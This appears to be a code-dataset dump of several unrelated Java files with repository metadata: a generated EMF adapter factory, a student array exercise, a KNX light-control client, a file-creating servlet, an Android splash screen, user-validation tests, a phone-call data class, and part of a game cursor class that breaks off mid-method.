* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TText
* @generated
*/
public Adapter createTTextAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToPart <em>TTo Part</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToPart
* @generated
*/
public Adapter createTToPartAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToParts <em>TTo Parts</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToParts
* @generated
*/
public Adapter createTToPartsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TUserlist <em>TUserlist</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TUserlist
* @generated
*/
public Adapter createTUserlistAdapter() {
return null;
}
/**
* Creates a new adapter for the default case.
* <!-- begin-user-doc -->
* This default implementation returns null.
* <!-- end-user-doc -->
* @return the new adapter.
* @generated
*/
public Adapter createEObjectAdapter() {
return null;
}
} //htdAdapterFactory
| 34,832 | 0.690802 | 0.688074 | 934 | 35.293362 | 37.018192 | 186 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.598501 | false | false | 9 |
d985c118bb3ad8d1dd08cca146c17fc182f88f7c | 12,644,383,789,744 | 34de830c09d8a78583ff0d669be83116f3883bdc | /src/package10_99/Week2Exercise3.java | fbe047a76a76aa804a03e76b85f598e04564d4b5 | [] | no_license | phonne/JavaExercise | https://github.com/phonne/JavaExercise | e1faa90aa3e8b2a197445de7b313d9ac28daf9e8 | 39460c2b91570512a16c5120596568a6af521e47 | refs/heads/master | 2021-01-24T10:07:28.293000 | 2016-11-30T14:33:57 | 2016-11-30T14:33:57 | 69,676,024 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package package10_99;
import java.util.*;
public class Week2Exercise3 {
public static void main(String[] args) {
// TODO Auto-generated method stub
int numbers[] = new int[20];
int x = 1;
numbers[0] = 1;
System.out.println("the array is: " + numbers[0]);
for (x = 1; x < 20; x++) {
numbers[x] = 2 * numbers[x - 1];
System.out.println("the array is: " + numbers[x]);
}
System.out.print(numbers[0] + ", ");
ArrayList<Double> list = new ArrayList<Double>(17);
for (int j = 1; j < 20; j++) {
list.add((numbers[j] + numbers[j - 1]) / 2.0);
}
for (int i = 0; i < list.size(); i++) {
System.out.print(list.get(i) + ", ");
}
System.out.println(numbers[19]);
}
}
| UTF-8 | Java | 706 | java | Week2Exercise3.java | Java | [] | null | [] | package package10_99;
import java.util.*;
public class Week2Exercise3 {
public static void main(String[] args) {
// TODO Auto-generated method stub
int numbers[] = new int[20];
int x = 1;
numbers[0] = 1;
System.out.println("the array is: " + numbers[0]);
for (x = 1; x < 20; x++) {
numbers[x] = 2 * numbers[x - 1];
System.out.println("the array is: " + numbers[x]);
}
System.out.print(numbers[0] + ", ");
ArrayList<Double> list = new ArrayList<Double>(17);
for (int j = 1; j < 20; j++) {
list.add((numbers[j] + numbers[j - 1]) / 2.0);
}
for (int i = 0; i < list.size(); i++) {
System.out.print(list.get(i) + ", ");
}
System.out.println(numbers[19]);
}
}
| 706 | 0.573654 | 0.532578 | 32 | 21.0625 | 19.026196 | 53 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.96875 | false | false | 9 |
8e0b55bf3746271875d33d3e6e39bf617b753ee4 | 16,028,817,975,460 | 9004d560b0fb3acb3da59c6b1e47f6d65e8d4427 | /src/ReseauBat/Actionneur.java | 967337fadf2120a2196a819bbeda90bbd715438f | [] | no_license | clementche/ReseauBat | https://github.com/clementche/ReseauBat | aba1684e2db78ff7db6b8730983c022daf1c304d | 23eed5ba637b510f003f3d77ca8f829da59dd2a1 | refs/heads/master | 2021-01-10T13:05:50.750000 | 2016-03-21T10:06:56 | 2016-03-21T10:06:56 | 53,858,609 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package ReseauBat;
import tuwien.auto.calimero.link.KNXNetworkLinkIP;
public class Actionneur {
public static KNXNetworkLinkIP link;
public static void main(final String[] args)
{
// Etablissement de la connection
Connection conn = new Connection("192.168.1.118","192.168.1.105");
// on se connecte à la maquette
link = conn.connect();
// Permet de faire des actions sur la maquette
Gestion gest = new Gestion(link);
Listener listen ;
boolean etat = gest.getLum("1");
if(etat)
System.out.println("La lumière 1 est allumée");
else
System.out.println("La lumière 1 est éteinte");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
gest.switchStateLum(!etat, 500, "1");
// Création du listener qui écoute sur la maquette
listen = new Listener(link);
listen.Listen();
conn.disconnet(link);
}
}
| UTF-8 | Java | 979 | java | Actionneur.java | Java | [
{
"context": "a connection\n\t\t\tConnection conn = new Connection(\"192.168.1.118\",\"192.168.1.105\");\n\t\t\t\n\t\t\t// on se connecte à la ",
"end": 275,
"score": 0.9995841979980469,
"start": 262,
"tag": "IP_ADDRESS",
"value": "192.168.1.118"
},
{
"context": "Connection conn = new Connection(\"192.168.1.118\",\"192.168.1.105\");\n\t\t\t\n\t\t\t// on se connecte à la maquette \n\t\t\tlin",
"end": 291,
"score": 0.9995611906051636,
"start": 278,
"tag": "IP_ADDRESS",
"value": "192.168.1.105"
}
] | null | [] | package ReseauBat;
import tuwien.auto.calimero.link.KNXNetworkLinkIP;
public class Actionneur {
public static KNXNetworkLinkIP link;
public static void main(final String[] args)
{
// Etablissement de la connection
Connection conn = new Connection("192.168.1.118","192.168.1.105");
// on se connecte à la maquette
link = conn.connect();
// Permet de faire des actions sur la maquette
Gestion gest = new Gestion(link);
Listener listen ;
boolean etat = gest.getLum("1");
if(etat)
System.out.println("La lumière 1 est allumée");
else
System.out.println("La lumière 1 est éteinte");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
gest.switchStateLum(!etat, 500, "1");
// Création du listener qui écoute sur la maquette
listen = new Listener(link);
listen.Listen();
conn.disconnet(link);
}
}
| 979 | 0.660494 | 0.628601 | 45 | 20.6 | 19.36021 | 69 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.555556 | false | false | 9 |
55fe198c71ba928210fc1ae7336508fe40c9793f | 137,438,984,199 | e1d9769aa8f2b9f992ef12d03775270c2e2c220f | /HomeTask14/src/com/geekhub/hw8/CreateFileServlet.java | 188cce6d23ddb4daf9b576161388c572fd58b508 | [] | no_license | vgradilenko/GeekHub | https://github.com/vgradilenko/GeekHub | 1f43c18073cc17a60a86a9d91f9e74b3d306a1e2 | f51f6652307fc0ba53685e7332c67fea15c81851 | refs/heads/master | 2021-01-17T15:49:35.690000 | 2017-03-06T19:33:32 | 2017-03-06T19:33:32 | 84,112,619 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.geekhub.hw8;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
@WebServlet("/file/create")
public class CreateFileServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
Path path = Paths.get(req.getParameter("path"));
String fileName = req.getParameter("fileName");
String content = req.getParameter("content");
File file = null;
try {
file = new File(createFile(path, fileName).toString());
writeContent(file.getPath(), content);
} catch (FileOperationException e) {
resp.sendError(500, "file creation error");
}
resp.sendRedirect("/dir/view");
}
private Path createFile(Path path, String fileName) throws FileOperationException {
String file = path.toString() + "/" + fileName;
try {
return Files.createFile(Paths.get(file));
} catch (IOException e) {
throw new FileOperationException(e);
}
}
private void writeContent(String puth, String content) throws FileOperationException {
File file = new File(puth);
try (Writer writer = new BufferedWriter(new FileWriter(file))) {
writer.write(content);
} catch (IOException e) {
throw new FileOperationException(e);
}
}
}
| UTF-8 | Java | 1,630 | java | CreateFileServlet.java | Java | [] | null | [] | package com.geekhub.hw8;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
@WebServlet("/file/create")
public class CreateFileServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
Path path = Paths.get(req.getParameter("path"));
String fileName = req.getParameter("fileName");
String content = req.getParameter("content");
File file = null;
try {
file = new File(createFile(path, fileName).toString());
writeContent(file.getPath(), content);
} catch (FileOperationException e) {
resp.sendError(500, "file creation error");
}
resp.sendRedirect("/dir/view");
}
private Path createFile(Path path, String fileName) throws FileOperationException {
String file = path.toString() + "/" + fileName;
try {
return Files.createFile(Paths.get(file));
} catch (IOException e) {
throw new FileOperationException(e);
}
}
private void writeContent(String puth, String content) throws FileOperationException {
File file = new File(puth);
try (Writer writer = new BufferedWriter(new FileWriter(file))) {
writer.write(content);
} catch (IOException e) {
throw new FileOperationException(e);
}
}
}
| 1,630 | 0.657669 | 0.655215 | 49 | 32.265305 | 25.405106 | 95 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.591837 | false | false | 9 |
dc632b2082c76a489cbfdeca7421787abc34e4dd | 32,289,564,135,407 | 90fd68f104d59340c7d28a49d5d6bfbc4da61724 | /companhiaTelefonica/src/companhiaTelefonica/Chamada_Originada.java | d23034106d1964114943b689d770d8ba566327f6 | [] | no_license | brunorchaves/Trabalho_POO_2 | https://github.com/brunorchaves/Trabalho_POO_2 | 0d20f04f1a0b19f75f3017acfd494bec5cdda231 | 7568bcd7f5ddf2230b2526da38af06aa25095770 | refs/heads/main | 2023-03-24T03:29:08.521000 | 2021-03-18T13:43:40 | 2021-03-18T13:43:40 | 345,126,762 | 1 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package companhiaTelefonica;
import java.util.Date;
public class Chamada_Originada implements Dado{
private NumerodeTelefone numeroOrigem;
private long numeroDestino;
private Date dataInicioChamada;
private Date dataFimChamada;
public Chamada_Originada(NumerodeTelefone numeroOrigem, long numeroDestino, Date dataInicioChamada,
Date dataFimChamada) {
super();
this.numeroOrigem = numeroOrigem;
this.numeroDestino = numeroDestino;
this.dataInicioChamada = dataInicioChamada;
this.dataFimChamada = dataFimChamada;
}
public NumerodeTelefone getNumeroOrigem() {
return numeroOrigem;
}
public void setNumeroOrigem(NumerodeTelefone numeroOrigem) {
this.numeroOrigem = numeroOrigem;
}
public long getNumeroDestino() {
return numeroDestino;
}
public void setNumeroDestino(long numeroDestino) {
this.numeroDestino = numeroDestino;
}
public Date getDataInicioChamada() {
return dataInicioChamada;
}
public void setDataInicioChamada(Date dataInicioChamada) {
this.dataInicioChamada = dataInicioChamada;
}
public Date getDataFimChamada() {
return dataFimChamada;
}
public void setDataFimChamada(Date dataFimChamada) {
this.dataFimChamada = dataFimChamada;
}
@Override
public boolean isDadoValido() {
if(numeroOrigem!=null&&numeroOrigem.isDadoValido()&&dataInicioChamada!=null&&(dataFimChamada==null||dataInicioChamada.before(dataFimChamada))) {
return true;
}return false;
}
@Override
public String toString() {
// TODO Auto-generated method stub
return numeroOrigem+" "+numeroDestino+" "+dataInicioChamada+" "+dataFimChamada;
}
}
| UTF-8 | Java | 1,589 | java | Chamada_Originada.java | Java | [] | null | [] | package companhiaTelefonica;
import java.util.Date;
public class Chamada_Originada implements Dado{
private NumerodeTelefone numeroOrigem;
private long numeroDestino;
private Date dataInicioChamada;
private Date dataFimChamada;
public Chamada_Originada(NumerodeTelefone numeroOrigem, long numeroDestino, Date dataInicioChamada,
Date dataFimChamada) {
super();
this.numeroOrigem = numeroOrigem;
this.numeroDestino = numeroDestino;
this.dataInicioChamada = dataInicioChamada;
this.dataFimChamada = dataFimChamada;
}
public NumerodeTelefone getNumeroOrigem() {
return numeroOrigem;
}
public void setNumeroOrigem(NumerodeTelefone numeroOrigem) {
this.numeroOrigem = numeroOrigem;
}
public long getNumeroDestino() {
return numeroDestino;
}
public void setNumeroDestino(long numeroDestino) {
this.numeroDestino = numeroDestino;
}
public Date getDataInicioChamada() {
return dataInicioChamada;
}
public void setDataInicioChamada(Date dataInicioChamada) {
this.dataInicioChamada = dataInicioChamada;
}
public Date getDataFimChamada() {
return dataFimChamada;
}
public void setDataFimChamada(Date dataFimChamada) {
this.dataFimChamada = dataFimChamada;
}
@Override
public boolean isDadoValido() {
if(numeroOrigem!=null&&numeroOrigem.isDadoValido()&&dataInicioChamada!=null&&(dataFimChamada==null||dataInicioChamada.before(dataFimChamada))) {
return true;
}return false;
}
@Override
public String toString() {
// TODO Auto-generated method stub
return numeroOrigem+" "+numeroDestino+" "+dataInicioChamada+" "+dataFimChamada;
}
}
| 1,589 | 0.783512 | 0.783512 | 53 | 28.981133 | 26.871105 | 146 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.792453 | false | false | 9 |
7acff0fd49887df238a5479ec1c963b6a26c4a1c | 10,041,633,606,248 | c3c1888448b5ba4c40ead7e8d42c61e2ecb2910d | /app/src/main/java/com/example/creditmanagement/MainActivity.java | 6e64f1afef1513e2cb89634f05cee79bf6ad6fe5 | [] | no_license | anasbaig10/CreditManagement | https://github.com/anasbaig10/CreditManagement | f01c6f61fe159821bd08ab4337e186c243ef7b68 | 54b24569c2ebcb0a27ab60116f7fa982fa09b5d3 | refs/heads/master | 2020-06-16T08:18:28.537000 | 2019-07-04T06:10:49 | 2019-07-04T06:10:49 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.creditmanagement;
import android.content.Intent;
import android.os.Handler;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.ImageView;
public class MainActivity extends AppCompatActivity {
private static int SPLASH_TIME_OUT = 2000;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate ( savedInstanceState );
setContentView ( R.layout.activity_main );
new Handler().postDelayed ( new Runnable() {
@Override
public void run(){
Intent homeIntent = new Intent(MainActivity.this,HomeActivity.class);
startActivity(homeIntent);
finish();
}
},SPLASH_TIME_OUT);
}
}
| UTF-8 | Java | 877 | java | MainActivity.java | Java | [] | null | [] | package com.example.creditmanagement;
import android.content.Intent;
import android.os.Handler;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.ImageView;
public class MainActivity extends AppCompatActivity {
private static int SPLASH_TIME_OUT = 2000;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate ( savedInstanceState );
setContentView ( R.layout.activity_main );
new Handler().postDelayed ( new Runnable() {
@Override
public void run(){
Intent homeIntent = new Intent(MainActivity.this,HomeActivity.class);
startActivity(homeIntent);
finish();
}
},SPLASH_TIME_OUT);
}
}
| 877 | 0.68073 | 0.675029 | 28 | 30.321428 | 20.960939 | 85 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.607143 | false | false | 9 |
f6ac5de63cf86d697e2c58994ae876291a41252e | 21,157,008,947,481 | 20f5ed4673149711e12a24461842c9d56b639389 | /todo-api/src/test/java/pl/airborn/todo/api/UserValidationTest.java | ae4fa1ff63456ce6dc5fc4818dbbf1f1048e9a5b | [] | no_license | airborn/Todo | https://github.com/airborn/Todo | 3022865fcaff75d51a64bc1cad534d6a82d5389d | 385fe0e245dd87a98d9b316f047616ef75572b28 | HEAD | 2019-06-16T15:14:00.900000 | 2013-12-13T20:22:07 | 2013-12-13T20:22:07 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package pl.airborn.todo.api;
import com.google.common.base.Strings;
import java.util.Set;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;
import junitparams.JUnitParamsRunner;
import junitparams.Parameters;
import org.hibernate.validator.constraints.Length;
import org.hibernate.validator.constraints.NotEmpty;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import pl.airborn.tests.conditions.FieldValidationCondition;
import static junitparams.JUnitParamsRunner.$;
import static org.fest.assertions.api.Assertions.assertThat;
@RunWith(JUnitParamsRunner.class)
public class UserValidationTest {
private static final FieldValidationCondition LOGIN_EMPTY_CONDITION = new FieldValidationCondition("login", NotEmpty.class);
private static final FieldValidationCondition EMAIL_EMPTY_CONDITION = new FieldValidationCondition("email", NotEmpty.class);
private static final FieldValidationCondition PASSWORD_EMPTY_CONDITION = new FieldValidationCondition("password", NotEmpty.class);
private static final FieldValidationCondition LOGIN_LENGTH_CONDITION = new FieldValidationCondition("login", Length.class);
private static final FieldValidationCondition PASSWORD_LENGTH_CONDITION = new FieldValidationCondition("password", Length.class);
private Validator validator;
private User user;
@Before
public void setup() {
validator = getValidator();
user = new User();
}
private Validator getValidator() {
ValidatorFactory validatorFactory = Validation.buildDefaultValidatorFactory();
return validatorFactory.getValidator();
}
@Test
public void shouldContainNotEmptyLogin() {
// given
final String login = "LOGIN";
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(LOGIN_EMPTY_CONDITION);
}
@Test
@Parameters(method = "invalidLogins")
public void shouldNotContainEmptyLogin(String login) {
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, LOGIN_EMPTY_CONDITION);
}
private Object[] invalidLogins() {
return $($((String) null), $(""));
}
@Test
public void shouldContainNotEmptyEmail() {
// given
final String email = "EMAIL";
user.setEmail(email);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(EMAIL_EMPTY_CONDITION);
}
@Test
@Parameters(method = "invalidEmptyEmails")
public void shouldNotContainEmptyEmails(String email) {
user.setEmail(email);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, EMAIL_EMPTY_CONDITION);
}
private Object[] invalidEmptyEmails() {
return $($((String) null), $(""));
}
@Test
public void shouldContainNotEmptyPassword() {
// given
final String password = "PASS";
user.setPassword(password);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(PASSWORD_EMPTY_CONDITION);
}
@Test
@Parameters(method = "invalidEmptyPasswords")
public void shouldNotContainEmptyPassword(String password) {
user.setPassword(password);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, PASSWORD_EMPTY_CONDITION);
}
private Object[] invalidEmptyPasswords() {
return $($((String) null), $(""));
}
@Test
@Parameters(method = "validLoginLength")
public void shouldHaveLoginLengthBetweenFiveAndThirtyTwo(String login) {
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(LOGIN_LENGTH_CONDITION);
}
private Object[] validLoginLength() {
return $(
$(stringOfLength(5)),
$(stringOfLength(6)),
$(stringOfLength(31)),
$(stringOfLength(32)));
}
@Test
@Parameters(method = "invalidLoginLength")
public void shouldNotHaveLoginLengthLessThanFiveOrGreaterThanThirtyTwo(String login) {
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, LOGIN_LENGTH_CONDITION);
}
private Object[] invalidLoginLength() {
return $(
$(stringOfLength(4)),
$(stringOfLength(33)));
}
@Test
@Parameters(method = "validPasswordLength")
public void shouldHavePasswordLengthBetweenSixAndThirtyTwo(String password) {
user.setPassword(password);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(PASSWORD_LENGTH_CONDITION);
}
private Object[] validPasswordLength() {
return $(
$(stringOfLength(6)),
$(stringOfLength(7)),
$(stringOfLength(31)),
$(stringOfLength(32)));
}
@Test
@Parameters(method = "invalidPasswordLength")
public void shouldNotHavePasswordLengthLessThanSixOrGreaterThanThirtyTwo(String password) {
user.setPassword(password);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, PASSWORD_LENGTH_CONDITION);
}
private Object[] invalidPasswordLength() {
return $(
$(stringOfLength(5)),
$(stringOfLength(33)));
}
private String stringOfLength(int length) {
return Strings.repeat("_", length);
}
}
| UTF-8 | Java | 6,364 | java | UserValidationTest.java | Java | [
{
"context": " // given\n final String password = \"PASS\";\n user.setPassword(password);\n\n //",
"end": 3368,
"score": 0.9994878768920898,
"start": 3364,
"tag": "PASSWORD",
"value": "PASS"
},
{
"context": "tring password = \"PASS\";\n user.setPassword(password);\n\n // when\n Set<ConstraintViolatio",
"end": 3404,
"score": 0.9929152727127075,
"start": 3396,
"tag": "PASSWORD",
"value": "password"
},
{
"context": "tyTwo(String password) {\n user.setPassword(password);\n\n // when\n Set<ConstraintViolatio",
"end": 5916,
"score": 0.9122785925865173,
"start": 5908,
"tag": "PASSWORD",
"value": "password"
}
] | null | [] | package pl.airborn.todo.api;
import com.google.common.base.Strings;
import java.util.Set;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;
import junitparams.JUnitParamsRunner;
import junitparams.Parameters;
import org.hibernate.validator.constraints.Length;
import org.hibernate.validator.constraints.NotEmpty;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import pl.airborn.tests.conditions.FieldValidationCondition;
import static junitparams.JUnitParamsRunner.$;
import static org.fest.assertions.api.Assertions.assertThat;
@RunWith(JUnitParamsRunner.class)
public class UserValidationTest {
private static final FieldValidationCondition LOGIN_EMPTY_CONDITION = new FieldValidationCondition("login", NotEmpty.class);
private static final FieldValidationCondition EMAIL_EMPTY_CONDITION = new FieldValidationCondition("email", NotEmpty.class);
private static final FieldValidationCondition PASSWORD_EMPTY_CONDITION = new FieldValidationCondition("password", NotEmpty.class);
private static final FieldValidationCondition LOGIN_LENGTH_CONDITION = new FieldValidationCondition("login", Length.class);
private static final FieldValidationCondition PASSWORD_LENGTH_CONDITION = new FieldValidationCondition("password", Length.class);
private Validator validator;
private User user;
@Before
public void setup() {
validator = getValidator();
user = new User();
}
private Validator getValidator() {
ValidatorFactory validatorFactory = Validation.buildDefaultValidatorFactory();
return validatorFactory.getValidator();
}
@Test
public void shouldContainNotEmptyLogin() {
// given
final String login = "LOGIN";
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(LOGIN_EMPTY_CONDITION);
}
@Test
@Parameters(method = "invalidLogins")
public void shouldNotContainEmptyLogin(String login) {
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, LOGIN_EMPTY_CONDITION);
}
private Object[] invalidLogins() {
return $($((String) null), $(""));
}
@Test
public void shouldContainNotEmptyEmail() {
// given
final String email = "EMAIL";
user.setEmail(email);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(EMAIL_EMPTY_CONDITION);
}
@Test
@Parameters(method = "invalidEmptyEmails")
public void shouldNotContainEmptyEmails(String email) {
user.setEmail(email);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, EMAIL_EMPTY_CONDITION);
}
private Object[] invalidEmptyEmails() {
return $($((String) null), $(""));
}
@Test
public void shouldContainNotEmptyPassword() {
// given
final String password = "<PASSWORD>";
user.setPassword(<PASSWORD>);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(PASSWORD_EMPTY_CONDITION);
}
@Test
@Parameters(method = "invalidEmptyPasswords")
public void shouldNotContainEmptyPassword(String password) {
user.setPassword(password);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, PASSWORD_EMPTY_CONDITION);
}
private Object[] invalidEmptyPasswords() {
return $($((String) null), $(""));
}
@Test
@Parameters(method = "validLoginLength")
public void shouldHaveLoginLengthBetweenFiveAndThirtyTwo(String login) {
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(LOGIN_LENGTH_CONDITION);
}
private Object[] validLoginLength() {
return $(
$(stringOfLength(5)),
$(stringOfLength(6)),
$(stringOfLength(31)),
$(stringOfLength(32)));
}
@Test
@Parameters(method = "invalidLoginLength")
public void shouldNotHaveLoginLengthLessThanFiveOrGreaterThanThirtyTwo(String login) {
user.setLogin(login);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, LOGIN_LENGTH_CONDITION);
}
private Object[] invalidLoginLength() {
return $(
$(stringOfLength(4)),
$(stringOfLength(33)));
}
@Test
@Parameters(method = "validPasswordLength")
public void shouldHavePasswordLengthBetweenSixAndThirtyTwo(String password) {
user.setPassword(password);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).doNotHave(PASSWORD_LENGTH_CONDITION);
}
private Object[] validPasswordLength() {
return $(
$(stringOfLength(6)),
$(stringOfLength(7)),
$(stringOfLength(31)),
$(stringOfLength(32)));
}
@Test
@Parameters(method = "invalidPasswordLength")
public void shouldNotHavePasswordLengthLessThanSixOrGreaterThanThirtyTwo(String password) {
user.setPassword(<PASSWORD>);
// when
Set<ConstraintViolation<User>> constraints = validator.validate(user);
// then
assertThat(constraints).haveExactly(1, PASSWORD_LENGTH_CONDITION);
}
private Object[] invalidPasswordLength() {
return $(
$(stringOfLength(5)),
$(stringOfLength(33)));
}
private String stringOfLength(int length) {
return Strings.repeat("_", length);
}
}
| 6,374 | 0.663262 | 0.659648 | 210 | 29.304762 | 29.371389 | 134 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.433333 | false | false | 9 |
b3d7aa6c69cb2f394dc7dbf7696900e6cad5cea2 | 11,982,958,820,098 | 8c2c6be9c006207ce0c72f31f5750c317264a2d4 | /gui/gameCursor.java | 9c65dfc8a7576e6bd250a83d49fd274ac4d6c392 | [] | no_license | phu004/JavaRTS | https://github.com/phu004/JavaRTS | 77975b451eea63120f68dbc29c13aa74525d7940 | da46b71cad8eb453277d23392f2c27046b819671 | refs/heads/master | 2023-01-12T09:23:45.393000 | 2022-12-30T01:25:37 | 2022-12-30T01:25:37 | 146,737,560 | 131 | 28 | null | false | 2022-03-25T23:39:25 | 2018-08-30T11:05:35 | 2022-03-25T02:20:43 | 2022-03-25T23:39:24 | 31,165 | 27 | 5 | 1 | Java | false | false | package gui;
import java.awt.Image;
import java.awt.image.PixelGrabber;
import javax.imageio.ImageIO;
import core.camera;
import core.mainThread;
public class gameCursor {
public int[][] arrowIcons;
public int[][] smallArrowIcons;
public int[] smallArrowIcons4;
public int[] cursorIcon;
public int[] screen;
public int[][] iconOverWriteBuffer;
public int iconOverWriteBufferIndex;
public static int screen_width = mainThread.screen_width;
public static int screen_height = mainThread.screen_height;
public static int screen_size = mainThread.screen_size;
public void init() {
String folder = "../images/";
arrowIcons = new int[8][24*24];
for(int i = 0; i < 8; i++) {
loadTexture(folder + "arrow"+i+".png", arrowIcons[i], 24,24);
}
smallArrowIcons = new int[4][20*20];
for(int i = 0; i < 4; i++) {
loadTexture(folder + "smallArrow"+i+".png", smallArrowIcons[i], 20,20);
}
cursorIcon = new int[24*24];
loadTexture(folder + "cursor.png", cursorIcon, 24,24);
smallArrowIcons4 = new int[20*20];
loadTexture(folder + "smallArrow4.png", smallArrowIcons4, 20,20);
iconOverWriteBuffer = new int[1024][2];
for(int i = 0; i < 1024; i++) {
iconOverWriteBuffer[i][0] = -1;
}
}
public void updateAndDraw(int[] screen) {
this.screen = screen;
int mouseX = inputHandler.mouse_x;
int mouseY = inputHandler.mouse_y;
boolean mouseOverSelectableUnit = mainThread.pc.mouseOverSelectableUnit;
int mouseOverUnitType = mainThread.pc.mouseOverUnitType;
int mouseOverUnitTeam = mainThread.pc.mouseOverUnitTeam;
boolean mouseOverUnitIsSelected = mainThread.pc.mouseOverUnitIsSelected;
boolean hasConVehicleSelected = mainThread.pc.hasConVehicleSelected;
boolean hasHarvesterSelected = mainThread.pc.hasHarvesterSelected;
boolean hasTroopsSelected = mainThread.pc.hasTroopsSelected;
boolean hasTowerSelected = mainThread.pc.hasTowerSelected;
boolean attackKeyPressed = mainThread.pc.attackKeyPressed;
boolean cursorIsInMiniMap = mainThread.pc.cursorIsInMiniMap();
boolean cursorIsInSideBar = mainThread.pc.cursorIsInSideBar();
for(int i = 0; i < 1024; i++) {
if(iconOverWriteBuffer[i][0] == -1)
break;
screen[iconOverWriteBuffer[i][0]] = iconOverWriteBuffer[i][1];
iconOverWriteBuffer[i][0] = -1;
}
iconOverWriteBufferIndex = 0;
if(!mainThread.gamePaused && mainThread.gameStarted) {
//draw arrow icons if the player is scrolling the screen with the mouse
int cursorX = 0;
int cursorY = 0;
if(camera.MOVE_DOWN && !camera.MOVE_LEFT && ! camera.MOVE_RIGHT) {
drawIcon(arrowIcons[1], mouseX-12,screen_height - 23);
